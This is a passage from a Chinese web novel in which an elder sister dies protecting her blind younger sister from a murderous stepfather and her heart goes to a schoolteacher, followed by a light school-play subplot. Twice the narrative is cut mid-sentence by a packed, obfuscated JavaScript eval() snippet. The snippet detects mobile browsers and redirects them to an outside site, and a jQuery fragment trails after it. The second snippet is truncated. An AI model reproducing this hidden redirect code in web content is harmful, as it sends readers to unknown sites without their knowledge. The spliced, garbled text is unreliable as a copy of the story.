也想的是,如果还能够看到妹妹幸福地活下去,那么她看到快乐的渠道,就依然没有被完全关闭,她继续活下去,就还有一丝希望可以支撑。 姐妹是同根相连的双生花,她爱护妹妹,就像她爱护着这个世界上的另一个自己,她们有着相似的眉眼,共享过某一段命运,无论命运的洪流把她们冲散到天涯海角,无论沈祈生日后记得她与否,她们的身体里,永远有着相似的基因片段,这是任何高超的谎言与技术,都无法掩盖和抹灭的事实。 她们是一体,生死同相依,就算所有人都觉得沈余离千疮百孔,觉得沈祈生残破不堪,在她们彼此眼里,都是这个世界中最珍贵、最独一无二、最无法割舍掉的人。 沈余离根本不敢想象某天突然失去沈祈生的模样,妹妹就是她的心脏,妹妹的一颦一笑,都在为她的生命供氧。 这个世界很大,大到地球的直径有一万多公里,大到地图上几十厘米微缩的版图,是她穷尽一生都无法丈量的距离,大到无论科技多么发达,她依然没有读透这颗星球上的天空有多广、海洋有多深、宇宙遥远的某一个星系里是否有另一种文明,沈余离都知道,但是她的世界却很小,小到当一切喧嚣和声音像退潮的浪一样离去,当她把目光收回,从我这里走向沈祈生再拥抱妹妹的距离,就是沈余离整个世界的整个尺度。 原本生命中积累的眼界、旷达、毫不在意在那一刻又重新被击碎,沈余离不得不承认,她就是这么较真又狭隘的人,一生都被困囿在爱里,她根本没法想象,没有沈祈生的世界。 沈余离很快听到了沈祈生的声音,听到她惊喜地叫爸爸和妈妈,然后是行李箱滚动的声音。 一想到这么鲜活的妹妹很有可能马上变成一具冰冷的尸体,想到她的新生活可能还没开始就要结束,沈余离就觉得自己像被人掐住了脖子,无法呼吸,心痛得好像下一秒就要当场暴毙。 到底应该怎么办呢…… 沈余离有些瘫软地蹲下身,紧紧抓住自己的头发,逼迫着自己冷静下来,不断努力地思考—— 到底怎样,才能让小祈活下来。 . 两天后。 老旧的楼道堆满了杂物,周围的墙皮都已经脱落了一大半,干掉的油漆块一片一片地突出,像一片坎坷不平的荒漠。 这里因为没有人打扫,充斥着厨余垃圾的潮湿臭味和汽油味,墙角的监控全都被蛛网覆盖,已经失去功能很久了,男人揣了一个公文包,衣着整洁地站在门口,随即抬起手,绅士地敲了敲门。 下一秒,“咔哒”一声,门被打开了。 男人慈祥地微笑着,从公文包里拿出一个打包好的饭盒:“小祈,今天妈妈临时有事,特意让我把做好的饭给你带……” 说到一半,他的笑容突然僵住了,随即,眼睛一点、一点、一点地瞪大,缩小的瞳孔中,全是不可置信。 门完全被打开的那一瞬间,沈余离就站在他的面前,冷冷地看着他。 33. 从未离开|三 . “你……”男人眯起眼睛,“你是谁?” “这很重要吗?”沈余离眯起眼睛,“沈祈生被我支开了,在你的计划之外?” 男人没有说话,只是眯起眼睛,十分警惕地盯着沈余离。 “你想要杀沈祈生,对吧?”沈余离冷冷地笑道,“用一个小孩的死来骗取保险金额,不觉得你作为成年人来说很无能吗?” “和你有什么关系呢?”男人只是惊慌了一瞬,但很快又恢复了冷静,“再说了,我只是来看我的女儿,你用这么恶毒的话来污蔑我,这不太好吧,小姑娘?” “只是我平时不关注这些,但是不代表你的信息不容易被查到。”沈余离抬眼望向那个男人,语气平静,“说起来你其实还挺小有名气的,做给残障儿童公益项目时,让你感受到自己是个好人了吗?因为当时你要结婚,受了一些人的关注,而我妈带了一个眼盲的女儿的事情又被很多人知道,所以为了维持人设,你不得不让她带上沈祈生吧——即使我当时没把“跟妈妈走”这个位子让出来,你们也会说服我留下,从而带着沈祈生走吧?换个角度想,她毕竟是个残疾的孩子,任你摆布,也比我更加容易吧。” “你是……”男人上下打量着沈余离,像是在大量一个猎物,“你是她姐姐,对吧?” “不过据我所知,你收集的善款,自己其实私吞了很大一部分吧。”沈余离的脸上浮现出一抹微笑,“当然,这件事只是我的猜测,如果说得不对,还请您多多海涵,毕竟你对接的几所盲校,无论是硬件还是软件,孩子们的生活质量并没有得到改善,尽管已经有人发出质疑,但是你也动用一些公关力量压下去了对吧,所以现在网上我只能搜到一些只言片语…..不过怎么说——” 男人气得从脸红到脖颈,声音骤然提高了几倍:“一派胡言!” “你本来根本不想让小祈接受移植,因为你觉得她眼盲乖巧,你好忽悠控制。”沈余离一字、一句地揭发他的罪行,“我看过那些舆论,你之所以给了她这个机会,只不过是因为一年前有很多人这么提议,在经济支持的情况下,你可以让自家那个眼盲的女儿来接受移植手术,你怕自己虐待继女的事情暴露,所以不得已而为之罢了。” 沈余离继续缓缓道:“虽然上面几件事可能只是我的恶意揣测,不过你的公司破产了……这是事实吧?判决书官网上都能查到,你背负着很多债务吧,叔叔?这是你想要害死小祈的动机吗?” 男人握紧拳头:“你完全是在满口胡言!我对小祈视如己出,你有什么证据说我要害她!” “我有啊,昨天你和我妈妈讲话的时候,我可就在拐角,全部都拿录音笔录下来了,就在这一部手机里。”沈余离扬起手机,背面的后置摄像头对准了男人,仿佛一双深原般的眼睛正在居高临下地审判着他,女孩儿笑起来,笑容里满是寒意,她的声音就和她母亲一样好听,但一字一句,都咬牙切齿,“你和妈妈对话的每一个字,我可都能背下来哦……你们怎么孤立她、怎么哄骗她、怎么设计要一字一句地害她,我全部都听见了……并且会好好地,铭、记、在、心。” “……”男人沉默须臾,随即抬眼,命令道。“把录音的东西给我。” 沈余离弯着眼睛,语气温柔道:“你做梦。” “没有父母庇佑的生活应该很可怜吧?”男人摊开手,语气稍有缓和,“命运对小祈不公……残疾人活在世界上应该很痛苦吧?你知道吗,有时候死亡并不是一些糟糕的事情,相反,如果活得很痛苦的话,早点死掉或许是一种解脱,这样两全其美的方法我们为什么不采用呢?相信如果我和小祈提议的话,她也会答应的……” 话未说完,沈余离一个箭步冲上去,一把拽住男人的领子,然后“唰”的一拳揍在他的脸上! 男人张了张口,微微转过头,刚要发声,沈余离又是一拳! “命运对她公不公平,她想不想活下去都不是由你说了算。”沈余离瞪大眼睛,少女一向柔和的面庞此刻已经完全扭曲狰狞,青筋从她的脸庞处攀上她的面颊,眼底处血丝密布、眼球突出,好似两颗即将爆炸的定时炸弹,“你没有资格左右她的想法。” “我话还没说完,你不要这么急躁啊。”男人扶了下眼镜,温和道,“到时候钱分你一部分怎么样?我只需要填补完我的窟窿,剩下的都是你的,好不好?作为交换,你把录音给我删了。” “我不会把录音删掉的。”沈余离俯下身,凑在男人耳边,轻声道,“等我从这里出去,我会把录音发给一百个、一千个人,让他们都知道你们是怎样丑恶和恶心的嘴脸,不仅你的窟窿不会被补上,而且你未来也不能在这个行业继续下去了,所有人都会知道你只是一个外表光鲜亮丽的恶魔,你的父母、家人和孩子都会知道他们身边最亲近的人是多么的失败和恶劣,你会坐牢的——你的案底会跟着你一辈子,你知道吗,我不可能让你伤害沈祈生。” 沈余离抬起手,摁开手机的开机键,上面赫然显示出一个直播页面!画面中,正对着如今的场景,而各种愤怒的弹幕,正在源源不断地冒出来。 紧接着,她把直播页面划走,切到信息页面,上面,正巧是一则报警信息。 “我和你们不一样。”沈余离按下发送键,轻轻道,“我爱她。” “我操!”男人一看到沈余离的手机界面,热血像又被火烧了一遍,叽里咕噜地直往脑门上冲,他一把夺过沈余离的手机,随着啪嗒一声金属落地的声音,转身就要往门口冲,而沈余离反应更快,立马冲上前堵住门口,情急之下,男人伸手猛推了一下她,女孩柔软的腹部哐当撞上了突出的门把手,沈余离霎时间脸都变得惨白一片,但此刻,她依然没有松手,只是回过身,抬手一压,半身禁锢住男人的动作,坚定道:“我不会让你走的!” “放手!”男人一只手被她压住,只能用另一只手去拽她的衣服领子,“你这个小婊/子,快把手给我放开!不然我就先杀了你!” “我不会。”沈余离咬牙控制住他,只是一遍遍坚决地重复,“你杀了我,我也不怕!但我今天绝对不会让你走!” 沈余离用了巧劲,她锢住男人的手法让他根本无法用力挣脱,他只能勉强蹲下身,从脚边的公文包里拿出一块充满着脏污的砖头,扬手威胁沈余离:“你放不放!” “我说了。”沈余离抬起头,眼睛通红的少女,扯开一丝鬼魅般的微笑,“你这么威胁我,一点用都没有。” 当男人扬起砖头,对着她的后脑勺和手一顿狂砸的时候,当沉闷的声音和剧烈的痛楚同时响起时,沈余离却感受到前所未有的平静。 无论是赵志云再怎么造谣她她都不在乎了,无论她未来是否能衣食无忧地活下去她都不在乎了,她未来会不会被爱着她也不在乎了,生死近在眼前,一切恩怨情仇都在此刻烟消云散,变得轻如鸿毛,只有一个念头,在她的此刻重如千斤砝码——她要让沈祈生活下去,无论是坚持着熬过难关还是干脆地结束痛苦,都应该由她自己来选择。 沈余离什么都不在乎了,她只要沈祈生自由幸福,就像她最初的愿望那样。 两人争执得激烈之时,沈祈生回来了。 沈祈生又忘带钥匙了,虽然这也有沈余离前面故意引导的功劳,在继父上门之前,她早就假装新来的邻居,进门给沈祈生送了礼物,心思单纯的沈祈生完全没有别的想法,就这么任由沈余离进门。 在踏进家门的一刹那,沈余离就把门口的钥匙轻轻按住了,还弄出了一串声响来掩盖着,所以,沈祈生并没有发现什么不对。 隔着门板,沈余离听到妹妹在地毯夹层中翻动备用钥 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她仔细地考虑好所有事情、周全地计算好所有可能,她假装邻居找了一个借口来支开沈祈生,她不想让妹妹提前回来涉险,但是当她听到沈祈生在外面轻轻敲门时,她还是轻轻地叹了一口气。 她没开口,她不会让沈祈生知道这些令她觉得害怕或者痛苦的事情,妹妹马上就要重获光明,她应该继续充满希望地走下去。 只是觉得略微可惜。沈余离微微苦笑,没想到姐妹俩人思念了彼此一生,最终只隔着一扇门就能见面,但却如同隔着千山万水。 这大概是命吧。她想到,但是既没有怨恨,也没有痛苦,相反,她甚至很感谢这样的走向,比起自己不明不白地死去,能换妹妹幸福安稳一生,她觉得自己死得其所。 唯一稍有遗憾的是,一步之遥的距离,她们却一生再难相见了。 “警察……马上就来了。”沈余离死死抵着门,笑道,“你……杀了人,一辈子都出不来了。” 这样,沈祈生的身边,就再也没有威胁了。 坚硬的砖头依次落在她的后脑、颈侧、手腕、虎口、背脊上,源源不断地,身上遭受重击的地方都像被烟火炸过一样,疼痛噼里啪啦地蔓延开来,但她发现,她自己逐渐感受不到了。 短短一生都活在凝视下的沈余离,在少年时以一己之力挡住了四面包抄的语言暴力、在成年时以一己之力挡住了要伤害妹妹的腥风血雨,混乱与轰鸣结束之后只剩下一地狼籍,罪魁祸首惊慌失措地暴怒、被振落的墙灰漫天飞扬、玻璃分崩离析,她的耳畔只剩鼓膜深处一道尖锐凄厉的长鸣,眼前黑斑频闪,她的舌尖卷过浓重的铁锈味。 “滴嘟滴嘟——” 门外警笛声响起,宣告着这场恶战的胜利,沈余离觉得,自己像是一条永不停歇的鱼,终于抵达了世人以为永远无法抵达的海岸尽头,她精疲力竭、她如释重负、她反其道而行之地游离赖以生存的水体,让自己搁浅在沙滩上,最后死在阳光的暴晒里。 在彻底闭上眼前她靠在门上,试图从耳鸣中找寻到妹妹的呼吸声,但是残酷如命运,还是在最后给了她惊喜,在彻底丧失听力之前,沈余离隐约听到了沈祈生的声音。 或许是真实的,或许只是绝境之下最后的幻觉,但那又怎么样呢?只要是沈祈生,怎样都令她视若珍宝。 外面传来女孩有些茫然和小心的声音:“……有人在。谁在里面?” 沈余离颤抖着张了张唇,她知道自己可能在回答自己此生最爱的人、也可能只是对着寂静的周围疯了般的自言自语,可能发问的姑娘得到了一个答非所问的回答,也可能只是莫名地听着门后的怪人冷不防地自言自语。 ——但她无所谓了,没有任何犹豫或退缩。 沈余离笑了笑,轻声答她:“我爱你。” 34. 从未离开|四 . “再后来,我就不知道了。”沈余离温和地笑笑,仿佛她经历的根本不是一场令人胆寒的谋杀,而只是一场偶然的小雨,“毕竟死了嘛,之后估计我的遗体就被捐献出去了……我不信鬼神,但我总是想,如果能多救一点人,为小祈多积攒一些福报,她往后余生能够平安顺遂,那好像也挺好的。” 她讲完抬头,只见宋未海呆愣愣地坐在病床上,两道泪痕,停留在他苍白的面庞上。 “不用为我难过。”沈余离的眼神带着笑意,那并非一种逞强的伪装,而是真正释怀的笑容,“比起痛苦又不知所以地寿终正寝,我觉得,能够换爱的人脱离险境,这样的结局,我很满意。” “你…….”宋未海有些颤抖地伸出手,想要握住她的手腕,但迟疑片刻,还是放下了,“当时很疼吧……小鱼。” 沈余离笑着就要否认:“其实也还——” “我当时、我当时听说了这件事。”宋未海的声音越来越小,他把头低下去,半长的刘海遮住他的眼睛,沈余离只能看到几点晶莹,源源不断地往下淌,“我是当时去倒水的时候,不小心听到值班的护士说的,他们说有一个捐献者是因为遭遇了杀害,所以才死亡的,走得并不安详……” 沈余离察觉到他情绪不对,一时是觉得他共情太深,刚要开口安慰:“你不用……” “用。”宋未海猛地抬起眼,他眼底湿润通红,却显得异常坚决,“因为最后接受那颗心脏捐献的人,是我。” 他本来不该知道的。 器官捐献的双方都不会知道彼此的信息。 当时沈余离一案的几乎所有信息都被封锁了。 他只知道,那个死去的女孩姓沈。 是阴差阳错之下,是他那晚正巧去走廊里倒水。 是正巧两个小护士估计没料到拐弯处有人,就顺口说了出来。 是正巧他需要那颗心脏。 是正巧沈余离在意外发生前填写了器官捐献的协议。 宋未海当时突发恶疾,受病魔折磨许久,他深知自己的身体状况,倘若没有沈余离捐献的那颗心脏,自己根本等不到那场车祸的发生,肯定早就死掉了。 加上那段时间方盏借由各种借口勒索他,在平台上卖惨炒作,这一事件发酵,基本彻底终结了宋未海重新回去做博主的可能,但是他却没有太悲伤,比起数据那些虚无缥缈的东西而言,他更牵挂的是那些涉世未深的孩子们,他的文言文还留着最后一段没有讲完,学生们的周记还有十份他没来得及给评语,他上次答应孩子们一起去学校后院里踏青,让他们用眼睛之外的感官好好地感受这个世界,那么多细小却又郑重的承诺他都没有完成,如果就这样离开,宋未海总是觉得心有牵挂,尚未了结。 网上的那些风言风语肯定会传到盲校里,但他深信,他的孩子们不会质疑他,他们永远相信着他,就像他永远相信他们可以拥有一个像普通人一样的人生一样。 他们一定会为他说话,为他担心,所以他还想回去告诉他们—— ——不用担心,只要老师和你们在一起,老师就由衷地感到知足。 身体状况已经差到让宋未海住院的时候,当他打着吊瓶,看着盐水一点点顺着管道输进自己的皮肤里时,闻着医院酒精消毒水的气味,和身体里被闷了很久的虚汗味,宋未海只觉得自己这样和死了没什么区别,像一樽雕像一样,靠着不断往缺口填补水泥来维持人形。 时间在这样反复挂水看病的日子里变得形同虚设,他周围的一切都是停下来的,就连医生、护士每天进来走的流程和说的话都一模一样,然后他再闻着那些让鼻子感到难受和堵塞的味道,看着点滴顺着相同的轨迹流入他的体内。 宋未海登记了等待捐献的表格,可惜两年过去,杳无音讯,他甚至已经放弃了希望,觉得自己撑不到等到心源的那一刻了。 他就这样每天睁眼、闭眼再醒来,等待着那一天死亡降临,每次看到窗外阴雨连绵,他也偶尔会有些悲凉的想,自己这般谨慎又懦弱、胆小又自私的人,到底过着多么滑稽、可笑又索然无味的一生啊。 直到—— “宋先生,根据登记,现在已经轮到你了。”负责器官移植的医生进来,微笑着告诉了他这个好消息,“我们去做一□□检,如若没有什么问题,我们就可以签字进行手术了。” “等下……”宋未海以为是自己终于疼出幻觉来了,他有些不可置信地瞪大眼睛,苍白的双唇发抖半晌,才勉强挤出一个完整的疑问句,“你说……有供体了?” “是的,考虑到你的情况,我认为事不宜迟。”医生中肯地给予了建议,“我们可以立马进行体检,进行各方评估之后,就能进行手术了。” 那一天宋未海是真的觉得自己已经濒临死亡,所以才出现了这样奇迹般地幻觉。 不过之后发生的一切都否定了他这样的想法,他走完了体检的流程,躺上了冰凉的手术台,头顶的灯光不断刺激着他的眼睛,眼球处传来的清晰的疼痛感,都在清楚地告诉宋未海——这是真实的。 后来他被注射了麻药,做了一场漫长的梦,等到他再度醒来,是医生笑着告诉他,手术很成功,观察几周就可以出院了。 身边的病友冲他微笑着,恭喜他重获新生。 再后来,就是宋未海恰巧听到护士们的谈话,等他出院那天,他特意拿手机去搜了那个案件。 蓝色的警方通报宣告着女孩儿的彻底死亡,他看不到任何与女孩相关的图片,只能看到案发时被短暂封锁的楼梯间,里面破旧不堪,隔着手机屏幕都能闻到一股霉味儿,当宋未海看到这一则新闻时,那颗心脏的原主人仿佛又滋生出了新的情感,心脏不断加速跳动,让他觉得心口绞痛,可是很快又归于平缓,就像已经对于死亡的彻底释然。 他不知应该作何反应才好,甚至不知道她的墓碑立于何处,只是在后来回到学校后,在他的窗口前养了一一束向日葵。 “谢谢你。”宋未海有时会盯着那束花看,他的窗口正好朝南,每当阳光盖在金黄的花瓣上时,它都美得张扬,令人感到心潮澎湃,“祝你下辈子幸福,不要再遇人不淑了。” “我也会带着你的希望,好好活下去的。”他的视线转移,又看向楼底走过的那群孩子们,“会让更多、更多的人好好活下去的。” 宋未海从来没有想过,他能有一天重新感受到太阳光打在背上的温暖,能重新闻到作业本翻开时的墨水味儿,能重新听到红笔划过作业时的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062700|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和上课铃响,他的孩子们也都像他所想的一样,没有任何一个人在背后议论着他,所有人都在明里暗里地关心他,让他养好身体,诸多流言蜚语都不必在意。 时间像一卷中间断带,又很快被修好的磁带,在经历了不知尽头的空白噪音之后,终于又重新流动起来。 连他每一次触碰到的、感受到的琐碎的变化,都令宋未海视若珍宝。 现生安稳,至于那些谣言,他没有很多证据和精力来为自己澄清,不过那些骂名,他也都无所谓了,方盏难以从他这儿捞到任何实质性的好处,而他也依然在好好地走下去,如果非说此刻的人生有什么遗憾,那就是宋未海无法和那个捐献的女孩儿,亲自说一声谢谢。 他觉得她一定是一个很美好的人,就像那朵太阳花一样充满着坚韧的生命力,漂亮又强大,勇敢又慈悲,才会选择在活着的时候,想到要让自己的死亡发挥最后一点余热。 他是那样平淡无奇的一个人,不过老天还是待他不薄,这个荒谬的愿望,回溯的岁月帮他实现了。 许多年前两人并未相识时,隔着大半个操场他看向她一眼,当时他小心翼翼的目光被涌动的人海吞没,沈余离并未察觉,可如今,那个年少时他曾偷看许久的人、那个成年后他渴望相见的人,正坐在他面前,沈余离的回望跨越了几年的长度,跨越了两个世界线的长度,走过诸多惊心动魄和波折坎坷,正发生在这个平稳、安宁的当下。 宋未海哪敢想自己喜欢的人会认识自己。 又更遑论有一天,他们能够亲密到拥有同一颗心脏。 所以他受伤的时候,沈余离身上也有伤口,所以沈余离在上一世感到的难过,他能在这一世也感同身受。 人类的悲欢或许并不相通,除非他们曾共享过同样的心跳。 因此,无论是相隔山高水远还是生死之间,他们的距离永远是零。 第二世,沈余离的出现打破了宋未海无聊的生活,她坚定的选择,能够让他不再活在无穷无尽的焦虑与担忧中,她鼓舞他、引领他、带动他一起拒绝、一起反击、一起在危险中一次次脱身,每一次心情跌宕起伏、令他感到胆战心惊的时刻,当宋未海看到身边镇定自若的沈余离,都觉得能够遇到她真好,能够活下去真好。 他委屈了自己这么多年,退让了这么多年,第一次有人出现,然后告诉他—— ——正式自己的感受吧,如果你不愿意,那么就告诉别人你不愿意。 他的情绪不再是可以被忽略的敏感,他的害怕不再是需要被指责的懦弱,有人终于让他看见了自己本该捍卫的权利,一个只为自己而活着的权利。 “我……”宋未海讲述完自己的故事,有些犹豫地张开双臂,十分小心地试探道,“小鱼……我们可以拥抱——” 话音未落,有人已经紧紧地抱住了他。 手臂圈紧他的力道、少女衣领口的香气和对方的体温,都在宣告着一个事实,宣告着他们历经千帆险境,但依然好好活着的事实。 “谢谢你。”宋未海用同样的力量回抱住她,把头轻轻地埋下去,眼泪不知不觉浸湿了沈余离的衣服,“谢谢你,小鱼。” 谢谢你。 直到你的出现,才重生了我的时间。 35. 致风动草|一 . 一个礼拜后,宋未海养病结束,回到了蓬山三中。 一进入教室,他就看见沈余离十分温和亲切地将一打几厘米厚的试卷整理好,轻轻地放在他桌上,一本正经道:“宋同学,这是上个礼拜新学的等差数列等比数列数学归纳法,要复习的椭圆双曲线抛物线,和要预习的导数二项式定理和概率。林老师让我特意叮嘱你回来一定要写完给他看,不然下节课开始你就得听天书修道成仙了。” “……”宋未海觉得自己要不还是在那个山崖底下摔死吧,“他就非得这么着急吗?” “老林每天破门进来的第一句话,”沈余离幽幽道,“‘我们的进度已经开始落后了!’” “我下次一定勇敢拒绝方盏的不合理要求……”宋未海低下头,生无可恋地把脑袋埋在雪片般地试卷堆里,“我再也不想每天做三四张数学卷子了。” “你成长了,宋同学。”沈余离把自己的作业点好交给课代表,回头冲宋未海勾唇一笑,“沈老师非常欣慰。” “谢谢沈老师,沈老师我知道你爱护学生,能不能帮我把这堆数学作业写了啊?”宋未海听起来真的快死了。 “呵呵。”沈余离面色不改,“监督学生自主完成作业是老师的责任。” 宋未海:“那你教我一下。” 沈余离毫不犹豫:“那我现在就去辞职。” 宋未海张了张口,刚要继续和她扯皮,班主任就踏着她的高跟鞋咚咚咚地进来了,进门,她抬眼掀了一眼宋未海:“哟,你来了啊。” 宋未海从一堆“天书”中抬起头:“老师早……” “咋脸色这么惨白,还没休息好吗。”班主任完全忽视了宋未海面前那堆堆积成山的卷子,简单关切了一下,下一秒将话锋一转,“下半学期,我们的主要任务是会考和期末考,但是同时,学校也希望同学们能够劳逸结合,为了分担后续的彩排压力,现在我们就开始准备元旦晚会,到时候临时班委带着大家思考一下,有人毛遂自荐吗?” 底下一片寂静。 “嗳。”班主任扶了下眼镜,“睡着的各位,醒醒。” 继续无人讲话,唯一的动静是有人在班主任讲完话后打了个呼噜。 班里刹那哄笑成一片,在笑声中班主任走下台,把那个睡得正香的同学揪起来,皮笑肉不笑道:“站后面清醒一下,去。” 混乱中,突然有一道怯生生的声音插/进来:“老师我……” 班主任循声转头:“你也想站后面清醒一下?” “不、不是。”宋未海举起一边手,小声道,“我觉得,我可以试一试……” 前面的方盏听到这话,惊讶地转头,好像以前发生的事情都不存在一样,非常自然地和他搭话:“什么?哥你……你平时说话都抖啊,你适合这个吗?不会……是想在沈余离面前表现一下吧?” 他总是说这样看似无心的话来为难宋未海,在方盏话音落下之后,宋未海立马赶到周围有数十道火辣辣的目光朝他投射过来,甚至周围还有许多此起彼伏的惊呼声,这一切都像无形的压力一样压在宋未海身上,他下意识地想要矢口否认,想要退后,想要松口说算了,他知道只要他开了这个口,一切紧绷都会松懈下来,他可以马上顺其自然地找个地方把自己藏起来—— ——“没事的。”众声轰鸣中,有个声音在他后面轻轻道,“他的话不重要,对你不会有任何影响,除非你把它放在心上了。” 他的话不重要。 不必放在心上。 她说,你自己的想法,才最重要。 沈余离的话就是一杆长杆,让他在风暴中有物可依,可宋未海知道自己总归要迈出这一步,他知道自己总归有一天不能再完全依赖着沈余离的鼓励—— “老师,这件事和沈同学没有关系,我们也没有越过正常朋友的界限。”乱哄哄的教室里,宋未海的声音非常清晰且肯定,比起他之前那种气若游丝的试探,他此刻的语气却像是一只漂泊许久的降落伞,终于降落在了厚实的大地上,“我是说,我一直对这方面很有兴趣,想尝试一下,请您考虑一下我。” ——比起永远被她保护,他更想,变得和她一样强大。 “……好。”班主任有些意外地应下了他,毕竟这孩子在他眼中一直很腼腆,她转头,看了一眼方盏,“方盏,以后一些无关学习的事情,你不要拿到课堂上来讲,我们需要维持好课堂纪律。” 方盏被噎了一下,他再怎么不服,班主任都开口了,他当然不可能当堂反驳,只得不情愿地转过头,闷闷道:“好。” “你看。”沈余离冲他笑了一下,在桌子底下给他轻轻竖起了拇指,“不是所有人都会相信别人随口编造的谣言,这个世界上,还是正常人多一点。” “小鱼。”宋未海压低声音道,“谢谢你。” “小事。”沈余离笑容不减,“看到方盏这点小心思被点破了,我很满意。” 她这说话的音量不大不小,方盏正好能听见,周围的几个同学也能听见,沈余离说完还瞟了他一眼,能看见他的脸色肉眼可见的变得铁青。 不就是爱信口胡诌吗?她最知道怎么以其人之道换其人之身。 宋未海:“……”哇! 这简直是明晃晃的挑衅啊! 她也太敢了! “这样的人,你不让他知道你的底线在哪里,”沈余离又恢复了只有两个人能听到的音量,“所以要及时给他一个警告。” 宋未海勤学好问:“就像赵志云那样的吗?” “额……”提起这个许久未闻的名字,沈余离顿了一下,最后还是十分中肯地评价道,“他没方盏这么聪明。” 宋未海没忍住笑出了声。 “干嘛?”沈余离神色认真,“我这是在夸他啊。” “好好好。”宋未海还要附和,这时候班主任一记眼刀瞟过来,不敢让她老人家真顺着方盏的话往下想,宋未海连忙肘了肘沈余离,二人双双噤声。 . 按照班主任的意思,今年这个文科班的节目就由宋未海负责,他想来想去,最后决定了要排一出经典的话剧——《雷雨》。 “他们要让我哥演周朴园?”方盏听到这个消息,抿了口水杯,有些不屑道,“这下谁分得清谁是下人,谁是主人?要我说,沈余离都比他适合——不过,我只是提个意见,毕竟我怕我哥紧张,这也是为了整体效果嘛。” “说起来这女的真是——”方盏撇了一眼后座,压低声音道,“魔头。” 沈余离和他坐得很近,这话她听到了,却没动气,只是无所谓地笑笑。 “虽然他很讨厌。”宋未海为了防止方盏蹬鼻子上脸,他靠近沈余离,没敢太大声地发表意见,“但我觉得他这次讲得还挺对的,我确实不适合演周朴园。” 他以前看过雷雨话剧,就周朴园震声怒吼逼着蘩漪喝药那段,他念出来简直像乞求。 “那……”沈余离抱着双臂,侧目瞥了他一眼,“你想演什么?” 宋未海正神,坚定道:“蘩漪。” “噗。”沈余离的表情差点没绷住,险些被自己的口水呛到,“演周朴园不合适,演……演蘩漪你就合适了?” “嗯……我一直在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我可以演周朴园。”方舟平静得像在解答数学题,“你,演鲁侍萍吧,正好我们四个人就可以把主要角色凑到一大半。” 方盏还要反驳,方舟这时却俯下身,在混乱之中又添了一把火:“你不会担心做得不如表哥好,所以才不敢答应吧?” “……”方盏硬生生地把拒绝吞了下去,咬牙切齿道,“我演!” “…….那小鱼呢?”难得让方盏毫无退路,宋未海憋笑憋得肚子疼,没想到一向脾气温和的他,竟然也会在这种时候生出一丝快感,不过他不敢让自己表现得太明显,只得努力转移话题,“你一起来吧,想要演什么?四凤吗?” “如果要反串,就大家一起反串呗。不要让观众脱敏吗。”沈余离道,“我想演周萍。” 方盏:“……” 方舟:“?” 天道好轮回,宋未海这下笑不出来了。 “怎么了?”沈余离感受到周围突然安静,有些不解地发问,“不合适吗?” “什么怎么了。”方盏被拖下水,现在已经连装都不想装了,连最后的体面都不愿意给宋未海,偏了下头,“你看他的脸。” 沈余离有些狐疑地转过视线,看见了一路从耳根、再到脸庞、再到脖颈都烧红的宋未海。 沈余离见怪不怪:“哦。” 宋未海已经说不出话了。 他真的要对沈余离情深意切地说出那句经典台词吗? 就在他深陷窘境之时,上课铃及时救了他,宋未海从未感觉数学课的到来是如此美妙、如此充满着圣光,不过在趁着数学老师进教室前,沈余离还悄悄使了个坏,她双手撑着桌子,稍稍后仰,附到宋未海的耳边,小声道:“期待你的表现了,风动草老师。” 这话只有他们两个人才能听到,可当少女的气息轻轻地掠过他的耳畔,宋未海却觉得自己心中的引线被一点火星子点燃,最终噼里啪啦地一路狂爆,最终烧成了通天大火。 风动草是他当时用的笔名。 宋未海快昏倒过去了。 这和在暗恋对象面前裸/奔有什么区别啊?! 36. 致风动草|二 . 就在宋未海定下这惊骇世俗的表演形式后,又有几个同学前来报名,他们就这样顺理成章地组成了《雷雨》剧组,宋未海很快拟好了台本,去向班主任报备。 体育课前,班主任听完宋未海夹杂着额咦啊哦,但整体还算清楚的表述,默默地把办公座椅转了九十度:“我没教过你们这个班。” 不一定是最差的一届,但一定是最奇葩的一届。 宋未海听懂了班主任的言外之意,对着班主任极力避嫌的背影深深鞠了一躬:“老师,我们一定不负您的期望!” 班主任生无可恋地摆了摆手,很希望宋未海这个是非之人赶紧离开此地。 宋未海拿着老班的圣旨回到班级,招呼着《雷雨》草台班子版的演员们排练。 场地有限,他们拉来了两张椅子当沙发,架起数学作业本当鲁侍萍那张年轻的照片,抽了一瓶可口可乐出来充当蘩漪的药——美名其曰和中药颜色相近,最后宋未海将窗帘一拉,扬手劈下去:“开始!” 他们打算从周萍四凤分别、和蘩漪对峙的那段对手戏开始。 沈余离理了理校服领口,即便身处“家中”,她也坐姿端正,一手轻搭在桌上,乍一看,还真有几分“体面人家”中翩翩君子的味道。下一秒,一个姑娘顺势靠进她的怀里,而沈余离则伸出手,不轻不重地搂住她,两人你一眼我一语,一个轻声安慰,一个满是依恋,字字句句却全都在诉说着离别前的难舍难分。 方盏皱起眉,他难以理解这种画面,令他感到很诡异。 方舟倒是乐得一见,抱起双臂,微勾了下唇。 宋未海看着两人相依的样子,忍不住拿剧本挡住脸,看到沈余离这幅样子,他总是忍不住把她怀中的那个女孩儿…..代换成自己。 换做从前他从来不敢肖想,即便他知道人的想法是无法被控制的,任何一丁点儿越界的念头都让他觉得是冒犯,但在他知道沈余离的心脏也曾经是他的心脏时,两人之间的距离就这么顺理成章地被无限拉近,这样馈赠一样的特殊身份一下冲昏了宋未海的头脑,像是放了一把火烧毁他最后的高墙,让他礼貌自持的另一面变得更加得意忘形和得寸进尺,他会逐渐放任着自己去幻想,想象自己靠在她的怀里,或者她靠在自己怀里,柔软的发丝蹭着他的面庞,鼻腔是独属于沈余离的气息,体温隔着相贴的手臂彼此传递—— 